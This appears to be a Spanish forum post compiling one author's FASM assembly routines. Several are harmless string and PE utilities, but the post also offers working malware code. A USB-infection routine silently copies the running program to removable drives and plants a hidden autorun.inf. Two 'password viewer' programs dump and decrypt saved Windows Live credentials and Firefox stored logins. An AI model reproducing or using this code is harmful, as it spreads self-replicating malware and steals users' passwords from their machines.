Recopilación de mis codigos.

[YST]

Código (ASM) [Seleccionar] Expandir


format pe console
espacio equ 13,10,0
include 'win32ax.inc'
.data
RutaLib   rb MAX_PATH
RutaINC   rb MAX_PATH
.code
start:
invoke printf,"Ingrese la ruta de la libreria:"
invoke printf,espacio
invoke scanf,"%s",RutaLib
invoke printf,"Ingrese la ruta de la donde se generara el include:"
invoke printf,espacio
invoke scanf,"%s",RutaINC
stdcall CrearImport,RutaLib,RutaINC
invoke ExitProcess,0
proc CrearImport,NombreLIB,NombreImport
locals
DirPEHeader dd ?
PunteroPEHeader dd ?
RVAofExportDirectory   dd ?
NumberOfNames dd ?
AddressOfNames dd ?
Funcion dd ?
HFile dd ?
Nosirve dd ?
Largo dd ?
LibHandle dd ?
endl
push ebx  edx  edi  ecx
    invoke LoadLibrary, [NombreLIB]
    mov [LibHandle],eax
cmp eax,NULL
je .Error
push dword[eax + 03Ch]
pop  [DirPEHeader]
push [DirPEHeader]
pop [PunteroPEHeader]
add  [PunteroPEHeader],eax
mov ebx,[PunteroPEHeader]
cmp word[ebx],"PE"
jne .Error
push dword[ebx+078h]
pop [RVAofExportDirectory]
mov ebx, [RVAofExportDirectory]
add ebx,eax
push dword[ebx+018h]
pop [NumberOfNames]
mov edx,[NumberOfNames]
push dword[ebx+20h]
pop [AddressOfNames]
mov ebx,[NumberOfNames]
mov        edi, [AddressOfNames]
    add        edi,[LibHandle]



               invoke CreateFileA, [NombreImport], GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0
                mov [HFile], eax
                invoke lstrlen,"import "
            invoke WriteFile, [HFile], "import ",eax,addr Nosirve, NULL
                 invoke lstrlen,[NombreLIB]
                 sub eax,4
                invoke WriteFile, [HFile], [NombreLIB],eax,addr Nosirve, NULL
                invoke WriteFile,[HFile] , ",\",2,addr Nosirve, NULL
                             invoke WriteFile, [HFile], espacio,2,addr Nosirve, NULL

.bucle:
dec ebx
mov        eax, [edi + ebx * 4]
add eax,[LibHandle]
mov [Funcion],eax
        invoke lstrlen, [Funcion]
                invoke WriteFile, [HFile], [Funcion],eax,addr Nosirve, NULL
                invoke WriteFile, [HFile],",",1,addr Nosirve, NULL

                              invoke WriteFile, [HFile],"'",1,addr Nosirve, NULL
                                      invoke lstrlen, [Funcion]
                invoke WriteFile, [HFile], [Funcion],eax,addr Nosirve, NULL
                .if ebx = 0
                      invoke WriteFile, [HFile],"'",1,addr Nosirve, NULL
                .else
                  invoke WriteFile, [HFile],"',\",3,addr Nosirve, NULL
              invoke WriteFile, [HFile], espacio,2,addr Nosirve, NULL
              .endif
  cmp ebx,0
  jne .bucle

            invoke CloseHandle, [HFile]
            invoke system,"cls"
            invoke printf,"Extraida las funciones de: "
            invoke printf,RutaLib
            invoke printf,espacio
            invoke printf,espacio
            invoke printf,"El include ah sido generado en : "
             invoke printf,RutaINC
                      invoke printf,espacio
            invoke printf,espacio
            invoke printf,"Con "
               invoke printf,"%d",[NumberOfNames]
               invoke printf," funciones extraidas."
                invoke printf,espacio
                  invoke system,"pause"
pop  ecx edi edx ebx
ret
.Error:
      invoke system,"cls"
            invoke printf,"Ocurrio un error durante la extracciòn."
                        invoke printf,espacio
               invoke system,"pause"
ret
endp
.end start     


PD: En este codigose necesita agregar alguna apis a la win32ax.

[YST]

Código (asm) [Seleccionar] Expandir


include 'win32ax.inc'
.data
Separador db "/()·/", 0
Cadena db 'Soy/()·/una/()·/cadena',0
Cantidad dd ?
buffer rb MAX_PATH
.code
start:
stdcall Split,Cadena,Separador,buffer
mov [Cantidad],eax
stdcall Len,Separador
mov ebx,eax
mov ecx,[Cantidad]
inc ecx
mov esi,buffer
.bucle:
push ecx
invoke MessageBox,0,esi,esi,0
stdcall Len,esi
add esi,eax
add esi,ebx
pop ecx
loop .bucle
invoke ExitProcess,0
; cCadena(in) = Cadena a partir
; cSeparador(in) = Separador que se usara para partir la cadena
; cBuffer(out) = A donde se guardara la cadena partida
; Retorna la cantidad de separadores encontrados
proc Split,cCadena,cSeparador,cBuffer
push edi esi ecx  ebx
xor ebx,ebx
stdcall copy,[cBuffer],[cCadena]
stdcall Len,[cSeparador]
mov edi,eax
mov  esi,[cBuffer]
dec  esi
.bucle:
inc esi
cmp byte[esi],0
je .salir
mov cl,byte[esi+edi]
mov byte[esi+edi],0
stdcall comparar,esi,[cSeparador]
mov byte[esi+edi],cl
cmp eax,0
jne .bucle
inc ebx
mov byte[esi],0
add esi,edi
jmp .bucle
.salir:
mov eax,ebx
pop ebx ecx esi edi
ret
endp

proc comparar ,SRC,DST ;Funcion que compara
push edi ecx esi
mov ecx,-1
mov edi,[SRC]
mov al,0
repnz scasb
mov eax,ecx
not eax
mov ecx,eax
mov esi,[SRC]
mov edi,[DST]
repz cmpsb
mov eax,1
jnz Next
dec eax
Next:
pop esi ecx edi
ret
endp
proc Len,cCadena   ;Funcion que mide la cadena
push ecx edi
mov ecx,-1
mov edi,[cCadena]
mov al,0
repnz scasb
mov eax,ecx
not eax
dec eax
pop edi ecx
ret
endp
proc copy,cDestino,cCadena    ;funcion que copia una cadena
push ecx edi esi
stdcall Len,[cCadena]
add eax,2
mov ecx,eax
mov esi,[cCadena]
mov edi,[cDestino]
rep movsb
pop esi edi ecx
ret
endp
.end start

[YST]

Código (ASM) [Seleccionar] Expandir


include 'win32ax.inc'

.data
xD db '[soy una cadena.]',0
.code
start:
stdcall EncriptacionChangeCase,xD,0
invoke MessageBox,0,xD,0,0
invoke ExitProcess,0
;Función que transforma las miniscula a mayusculas y viceversa
; cCadena = Puntero de cadena a cifrar
; cTTamaño = Tamaño de cadena a enbcriptar si este es 0 se medira la cadena automaticamente (fin de cadena de caracter nulo )
;  By YST
proc EncriptacionChangeCase,cCadena,cTamaño
push ebx
xor ebx,ebx
cmp [cTamaño],0
je .contar
mov ebx,[cTamaño]
jmp .Start
.contar:
mov ebx,0
mov eax,[cCadena]
.len:
inc ebx
inc eax
cmp byte[eax],0
jne .len
.Start:
mov eax, [cCadena]
dec eax
inc ebx
.bucle:
dec ebx
inc eax
cmp ebx,0
je .salir
cmp byte[eax],'A'
jb .bucle
cmp byte[eax],91
jge .revisar
jmp .seguir
jmp .bucle
.seguir:
cmp byte[eax],"Z"
jbe .Mayuscula
cmp byte[eax],"z"
jbe .Miniscula
jmp .bucle
.salir :
xor ebx,ebx
mov ebx,0
mov eax,[cCadena]
pop ebx
ret
.revisar:
cmp byte[eax],96
jg .seguir
jbe .bucle
.Mayuscula:         ;Si es Mayuscula la pasamos a miniscula
add byte[eax],0x20
jmp .bucle
.Miniscula:         ;Si es miniscula la pasamos a Mayuscula
sub byte[eax],0x20
jmp .bucle
xor ebx,ebx
mov ebx,0
mov eax,[cCadena]
endp

.end start

[YST]

Código (ASM) [Seleccionar] Expandir


proc LenUnicode,cCadena
mov ebx,[cCadena]
mov eax,0
.bucle:
inc eax
cmp byte[ebx+eax*2],0
jne  .bucle
pop ebx
ret
endp

[YST]

Código (ASM) [Seleccionar] Expandir


proc ConcatenarUnicode,cCadena1,cCadena2,cBuffer
push esi edi
    mov edi,[cBuffer]
    mov esi,[cCadena1]

.bucle1:
    movsb
    cmp word[esi],0
    jne  .bucle1

       inc edi
        mov esi,[cCadena2]
.bucle2:
    movsb
    cmp word[esi],0
    jne  .bucle2
    pop edi esi
ret
endp


[YST]

Código (ASM) [Seleccionar] Expandir


;Descripcion: Esta función funciona igual que la winapi RtlMoveMemory
; by YST
proc cRtlMoveMemory,cBuffer,Cpuntero,cCantidad
push esi edi
xchg edi,[cBuffer]
xchg esi,[Cpuntero]
.bucleb:
dec [cCantidad]
movsb
cmp  [cCantidad],0
jge .bucleb
pop edi esi
ret
endp

[YST]

Esta en fasm para llamarlo se llama con

Código [Seleccionar] Expandir

invoke CreateThread , 0, 0,InfeccionUSB,0,0 , 0

Código (ASM) [Seleccionar] Expandir


    Autorun db '[autoRun]',13,10,\
'action=Open Files On Folder',13,10,\
'shellexecute=',0
Autorun2 db 13,10,\
'UseAutoPlay=1',0  
BufferUnidades rb 31
 

Código (ASM) [Seleccionar] Expandir

proc InfeccionUSB
locals
Miruta dd ?
Minombre dd ?
MiRutaInfeccionaria dd ?
MiAutorun dd ?
RutaAutorun dd ?
handleCreado dd ?
tamaño dd ?
bEscritos dd ?
endl
pushad

invoke GlobalAlloc,GPTR,MAX_PATH
 mov [Miruta],eax
invoke GetModuleFileNameA,0,[Miruta],MAX_PATH
 stdcall ConseguirNombre,[Miruta]
 mov [Minombre],eax
      .infinito:
   invoke SleepEx,1000,FALSE
      stdcall Zerar,BufferUnidades,30
invoke GetLogicalDriveStringsA,30,BufferUnidades
       mov ebx,BufferUnidades
       .bucleDetectaExtraible:
invoke GetDriveTypeA,ebx

.if eax = DRIVE_REMOVABLE
.if word[ebx] = 'A:'
.else
     invoke GlobalAlloc,GPTR,MAX_PATH
mov [MiRutaInfeccionaria],eax
          stdcall Concat,ebx,[Minombre],[MiRutaInfeccionaria]

    ;       stdcall LLamaOtraApi,'shlwapi.dll', "PathFileExistsA"
invoke PathFileExistsA,[MiRutaInfeccionaria]
.if eax = FALSE

invoke CopyFileA,[Miruta],[MiRutaInfeccionaria],FALSE
               ;SetFileAttributes
         invoke SetFileAttributesA,[MiRutaInfeccionaria],FILE_ATTRIBUTE_HIDDEN
             invoke GlobalAlloc,GPTR,MAX_PATH
             mov [MiAutorun] ,eax
           invoke GlobalAlloc,GPTR,MAX_PATH
           mov [RutaAutorun],eax
             stdcall Concat,Autorun,[Minombre], [MiAutorun]
                   stdcall Concat,[MiAutorun],Autorun2, [MiAutorun]
                   stdcall Concat,ebx,"autorun.inf",[RutaAutorun]

           invoke CreateFileA, [RutaAutorun] , GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0
               mov [handleCreado], eax
           invoke lstrlenA,[MiAutorun]
             mov [tamaño],eax
     invoke WriteFile, [handleCreado],[MiAutorun] , [tamaño], addr bEscritos, NULL

     
           invoke CloseHandle, [handleCreado]
              invoke SetFileAttributesA,[RutaAutorun] ,FILE_ATTRIBUTE_HIDDEN
invoke GlobalFree,[MiAutorun]

invoke GlobalFree,[RutaAutorun]
               .endif
invoke GlobalFree,[MiRutaInfeccionaria]
.endif
.endif

.if byte[ebx] = 0

invoke GlobalFree,[Miruta]
invoke CreateThread , 0, 0,InfeccionUSB,0,0 , 0
invoke ExitThread,0
.else
add ebx,4
jmp      .bucleDetectaExtraible
.endif
endp

Código (ASM) [Seleccionar] Expandir


proc Concat uses esi edi, @AdrSrc1, @AdrSrc2, @AdrDest
   mov esi,[@AdrSrc1]
   mov edi,[@AdrDest]

.concat_src1:
   movsb
   cmp byte[esi],0
   jne .concat_src1

   mov esi,[@AdrSrc2]

.concat_src2:
   movsb
   cmp byte[esi],0
   jne .concat_src2

   movsb

   ret
endp

proc ConseguirNombre,ruta ;Funcion que devuelve el nombrer de el archivo.
push ebx
xor ebx,ebx
mov ebx,[ruta]
stdcall len,[ruta]
add ebx,eax
@@:
dec ebx
cmp byte[ebx],5Ch
jne @b
inc ebx
mov eax,ebx
pop ebx
ret
endp  

proc Zerar,Puntero,Cantidad

   push ecx
   push ebx

             mov ecx,[Cantidad]
                mov ebx,[Puntero]
               .bucle:

               mov byte[ebx+ecx],0
               loop .bucle
               mov byte[ebx],0
               pop ebx
               pop ecx
               ret
endp    


[YST]

Código (ASM) [Seleccionar] Expandir


include 'win32ax.inc'
.code
start:
stdcall DetectaExtención,"SoyUnExe.php.exe.YoSoyLaextensionreal"
invoke MessageBox,0,eax,0,0
invoke ExitProcess,0
;Descripcion: Esta función devuelve la extension de un archivo
; cRuta = Ruta del archivo
; by YST
proc DetectaExtención,cRuta
push ebx esi
xchg eax,[cRuta]
dec eax
.bucle:
inc eax
cmp byte[eax],0
jne .bucle
inc eax
.bucle2:
dec eax
cmp byte[eax],"."
jne .bucle2
xor esi,esi
dec esi
.bucle3:
inc eax
inc esi
cmp byte[eax],0
jne .bucle3
push eax
invoke GlobalAlloc,GPTR,esi
xchg ebx,eax
pop eax
sub eax,esi
stdcall cRtlMoveMemory,ebx,eax,esi
xchg ebx,eax
.salir:
pop  esi ebx
ret
endp
;Descripcion: Esta función funciona igual que la winapi RtlMoveMemory
; by YST
proc cRtlMoveMemory,cBuffer,Cpuntero,cCantidad
push esi edi
xchg edi,[cBuffer]
xchg esi,[Cpuntero]
.bucleb:
dec [cCantidad]
movsb
cmp  [cCantidad],0
jge .bucleb
pop edi esi
ret
endp
.end start

[YST]

Código (ASM) [Seleccionar] Expandir


Espacio equ 13,10
format pe console
include 'win32ax.inc'
entry start
.data
Logo db '         =====================================================',13,10
     db '         = Humilde Visor de claves de el msn 0.1v by YST     =',13,10
     db '         =====================================================',13,10,0
lCount dd ?
lCred dd ?
struct DATA_BLOB
    cbData                 dd ?
    pbData                 dd ?
ends
tBlobOut   DATA_BLOB
tBlobIn     DATA_BLOB
lmem dd ?
acento rb 3
.code
start:
invoke system,"color 03"
invoke printf,Logo
invoke printf,Espacio
invoke printf,Espacio
invoke CredEnumerate,"WindowsLive:name=*", 0, lCount,lCred
.if [lCount] = 0

invoke printf,"%s","Ninguna cuenta encontrada."
jmp salir
.else
mov ebx, [lCred]
.bucle:
dec [lCount]
mov eax, dword[ebx]
mov edi,dword[eax+8]
mov edx,dword[eax+24]
mov esi,dword[eax+28]

mov  [tBlobIn.cbData],edx
     mov  [tBlobIn.pbData] ,esi
   invoke CryptUnprotectData,tBlobIn, $0, $0, $0, $0, $1, tBlobOut
   .if     [tBlobIn.cbData] = 0
   mov eax, dword[ebx]
mov eax,dword[eax+48]
invoke printf,"Mail: %s",eax
invoke printf,Espacio
invoke printf,Espacio
   .else

   invoke LocalAlloc,GPTR,[tBlobIn.cbData];           
mov [lmem],eax
stdcall UniToAscii ,[lmem], [tBlobIn.pbData]
   invoke printf,"%s","Mail: "
   mov eax, dword[ebx]
mov eax,dword[eax+48]
invoke printf,"%s",eax
invoke printf,Espacio
invoke CharToOem,"ñ",acento
invoke printf,"Contrase"
invoke printf ,"%s",acento
invoke printf, "a: %s",[lmem]
invoke printf,Espacio
invoke printf,Espacio
invoke LocalFree,[lmem]
.endif

.if [lCount] = 0
.else
add ebx,4
jmp .bucle
.endif

.endif
salir:
invoke ExitProcess,0
proc UniToAscii, ascii, unicode
push esi
push edi
  mov esi, [unicode]
  mov edi, [ascii]
  .count:
  .if byte[esi] <> 0
      movsb
      jmp .count
  .endif
  inc esi
  .if byte[esi] = 0
      jmp .exit
  .endif
  jmp .count
  .exit:

  mov eax, edi
  add eax, 2
pop edi
pop esi
  ret
endp
   section '.idata' import data readable writeable
   library kernel32,'kernel32.dll',crypt32,"crypt32.dll",user32,'user32.dll',advapi32,'advapi32.dll',msvcrt,'msvcrt.dll'
   include 'api/kernel32.inc'
  import crypt32,CryptUnprotectData,"CryptUnprotectData"

import advapi32,\
CredEnumerate,'CredEnumerateA'
include 'api/user32.inc'
import msvcrt,printf,"printf",system,"system"

section '.reloc' fixups data discardable

[YST]

Código (ASM) [Seleccionar] Expandir


format pe console
entry start
include 'win32ax.inc'
sPath equ dword[ebx+4]
Espacio equ 13,10
.data

struct TSECItem
    SECItemType     dd ?
    SECItemData     dd ?
    SECItemLen      dd ?
    ends
    url dd ?
    valor dd ?

lvLibs0 dd ?
Logo db '         =====================================================',13,10
     db '         = Humilde Visor de claves de el Firefox 0.1v by YST =',13,10
     db '         =====================================================',13,10,0

URL dd ?
Campo dd ?
tsec TSECItem
tSecDec  TSECItem
lvLibs7 dd ?
lKeySlot dd ?
P dd ?
bUsados    dd ?
hFile dd ?
tamAr dd ?
IB dd ?
sFFPath  rb MAX_PATH+1
sRet rb 260
sRet2 rb 260
comp dd ?
.code
start:
invoke system,"color 03"
invoke printf,"%s",Logo
invoke SHGetSpecialFolderLocation,0,26h,ebx
invoke LocalAlloc,40h,MAX_PATH+1
mov dword[ebx+4] ,eax
invoke SHGetPathFromIDList,dword[ebx],sPath
invoke lstrcat,sPath,"\Mozilla Firefox\"


stdcall Cargar,dword[ebx+4],"mozcrt19.dll"
stdcall Cargar,dword[ebx+4],"sqlite3.dll"
stdcall Cargar,dword[ebx+4],"nspr4.dll"
stdcall Cargar,dword[ebx+4],"plc4.dll"
stdcall Cargar,dword[ebx+4],"plds4.dll"
stdcall Cargar,dword[ebx+4],"nssutil3.dll"
stdcall Cargar,dword[ebx+4],"softokn3.dll"
stdcall Cargar,dword[ebx+4],"softokn3.dll"


;"nss3.dll"
invoke LocalAlloc,40h,MAX_PATH+1
mov [P],eax
stdcall Concat,sPath, "nss3.dll",eax
invoke LoadLibrary,[P]
mov [lvLibs7],eax
invoke LocalFree,[P]
;1A
invoke SHGetSpecialFolderLocation,0,1ah,ebx
invoke SHGetPathFromIDList,dword[ebx],sFFPath
invoke lstrcat,sFFPath,"\Mozilla\Firefox\profiles.ini"

invoke GetPrivateProfileString,"Profile0", "Path", 0, sRet, 260, sFFPath

stdcall Zerar,sFFPath,MAX_PATH

invoke SHGetSpecialFolderLocation,0,1ah,ebx
invoke SHGetPathFromIDList,dword[ebx],sFFPath
invoke lstrcat,sFFPath,"\Mozilla\Firefox\"
invoke lstrcat,sFFPath,sRet
invoke lstrcat,sFFPath,"\signons3.txt"

invoke  CreateFile, sFFPath, GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0
mov [hFile], eax
invoke  GetFileSize, eax, 0
mov [tamAr], eax
invoke  GlobalAlloc, GPTR, eax
mov [IB], eax
invoke  ReadFile, [hFile], [IB], [tamAr], bUsados, 0

invoke SHGetSpecialFolderLocation,0,1ah,ebx
invoke SHGetPathFromIDList,dword[ebx],sRet2
invoke lstrcat,sRet2  ,"\Mozilla\Firefox\"
invoke lstrcat,sRet2  ,sRet
;lKeySlot
invoke GetProcAddress,[lvLibs7], "NSS_Init"
stdcall eax,sRet2
.if eax = 0
invoke GetProcAddress,[lvLibs7], "PK11_GetInternalKeySlot"
stdcall eax
   mov [lKeySlot],eax
.if eax <> 0
    invoke GetProcAddress,[lvLibs7], "PK11_Authenticate"

    stdcall eax,[lKeySlot],TRUE,0
.if eax = 0
xor edi,edi
mov ebx,[IB]
invoke printf,Espacio
invoke printf,Espacio
.bucle:

inc edi
cmp edi, [tamAr]
je salir
inc ebx
cmp byte[ebx],"."
jne .bucle
cmp byte[ebx+1],13
jne .bucle
cmp byte[ebx+2],10
jne .bucle
add ebx,3
.if byte[ebx] <> 0
mov [URL],ebx
.bucle2:
inc edi
cmp edi, [tamAr]
je salir
inc ebx
cmp byte[ebx],13
jne .bucle2
cmp byte[ebx+1],10
jne .bucle2
mov byte[ebx],0
mov byte[ebx+1],0
invoke printf,Espacio
invoke printf,Espacio
invoke printf,"WEB: %s",[URL]
invoke printf,Espacio
.campo:
add ebx,2
mov [Campo],ebx
.bucle3:
inc edi
cmp edi, [tamAr]
je salir
inc ebx
cmp byte[ebx],13
jne .bucle3
cmp byte[ebx+1],10
jne .bucle3
mov byte[ebx],0
mov byte[ebx+1],0
invoke printf,"Campo: %s",[Campo]
invoke printf,Espacio
add ebx,2
mov [valor],ebx
.bucle4:
inc edi
cmp edi, [tamAr]
je salir
inc ebx
cmp byte[ebx],13
jne .bucle4
cmp byte[ebx+1],10
jne .bucle4
mov byte[ebx],0
mov byte[ebx+1],0
invoke lstrlen,[valor]
mov [Campo],eax
   invoke GetProcAddress,[lvLibs7], "NSSBase64_DecodeBuffer"
stdcall eax,0,  tsec, [valor], [Campo]
   invoke GetProcAddress,[lvLibs7], "PK11SDR_Decrypt"

stdcall eax, tsec,tSecDec, 0
invoke printf,"Datos: %s",[tSecDec.SECItemData]
invoke printf,Espacio
add ebx,2
.if dword[ebx] = "http"
sub ebx,2
jmp .bucle
.else
sub ebx,2
jmp .campo
.endif
.endif
.endif
.endif
.endif
.endif
salir:
invoke ExitProcess,0

proc Cargar, sPathL, libreria
invoke LocalAlloc,40h,MAX_PATH+1
mov [P],eax
stdcall Concat,[sPathL],[libreria] ,eax
invoke LoadLibrary,[P]
invoke LocalFree,[P]
ret
endp
proc Concat uses esi edi, @AdrSrc1, @AdrSrc2, @AdrDest
mov esi,[@AdrSrc1]
mov edi,[@AdrDest]
.concat_src1:
movsb
cmp byte[esi],0
jne .concat_src1
mov esi,[@AdrSrc2]
.concat_src2:
movsb
cmp byte[esi],0
jne .concat_src2
movsb
ret
endp

proc Zerar,Puntero,Cantidad

    push ecx
    push ebx

              mov ecx,[Cantidad]
                 mov ebx,[Puntero]
                .bucle:

                mov byte[ebx+ecx],0
                loop .bucle
                mov byte[ebx],0
                pop ebx
                pop ecx
                ret
endp

   section '.idata' import data readable writeable
   library kernel32,'kernel32.dll',user32,'user32.dll',msvcrt,'msvcrt.dll',shell32,'shell32.dll'
   include 'api/kernel32.inc'
include 'api/user32.inc'
import msvcrt,printf,"printf",system,"system"
include 'api/shell32.inc'
section '.reloc' fixups data discardable